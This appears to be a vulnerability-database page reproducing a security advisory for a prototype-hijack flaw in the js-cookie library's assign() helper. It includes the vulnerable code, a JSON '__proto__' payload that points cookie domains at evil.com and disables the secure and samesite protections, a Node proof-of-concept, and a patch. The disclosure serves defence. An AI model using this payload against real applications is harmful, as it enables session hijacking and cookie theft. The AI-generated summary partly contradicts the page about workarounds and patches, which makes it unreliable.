VYPR
High severity7.5GHSA Advisory· Published May 21, 2026· Updated May 21, 2026

JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

CVE-2026-46625

Description

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an *own enumerable* property, so the for…in enumerates it and the target[key] = source[key] write triggers the **Object.prototype.__proto__ setter** on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

// src/assign.mjs — full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution:

Suggested patch

--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

js-cookie's assign() uses for...in which, when fed a JSON-parsed object, lets an attacker inject arbitrary cookie attributes via __proto__.

Root

Cause

The assign() helper in js-cookie copies properties using for...in combined with plain assignment (target[key] = source[key]). When the source object is created by JSON.parse, the JSON string's "__proto__" key becomes an *own enumerable* property on the resulting object. During the for...in loop, the engine enumerates this own property, and the assignment target[key] = source[key] triggers the Object.prototype.__proto__ setter on the fresh target object ({}). This results in a per-instance prototype hijack: the merged attributes object inherits attacker-controlled keys via its prototype, without modifying Object.prototype itself [1][2].

Exploitation

Any application that passes a JSON-derived object as the attributes argument to Cookies.set(), Cookies.remove(), Cookies.withAttributes(), or Cookies.withConverter() is vulnerable. A typical scenario is fetching cookie configuration from a backend endpoint that returns JSON, then using that configuration directly in a cookie call. An attacker who can control any portion of that JSON response (for example, via a compromised backend or a separate injection) can include a "__proto__" key with nested properties like {"domain":"evil.example","secure":"false","samesite":"None"}. The set() function later enumerates the merged attributes object with another for...in, so each attacker-controlled property from the polluted prototype becomes a cookie attribute in the Set-Cookie header [1][2].

Impact

An attacker can inject arbitrary cookie attributes such as domain, secure, samesite, expires, and path into cookies that the developer intended to have fixed, known values. This can lead to session hijacking or cookie exfiltration by, for example, setting domain to an attacker-controlled domain, or disabling secure and samesite protections. The vulnerability does not affect Cookies.get() or Cookies.getJSON() directly, as those functions do not use the dangerous assignment pattern [1][2].

Mitigation

The js-cookie maintainers have patched the vulnerability in version 3.0.6 by replacing the vulnerable assign() implementation with a property-by-property copy that explicitly skips __proto__, constructor, and prototype keys. Users should upgrade to version 3.0.6 or later. No workaround is available for prior versions; any use of JSON-derived attributes will be exploitable [1][2].

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

0

No patches discovered yet.

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

2

News mentions

0

No linked articles in our index yet.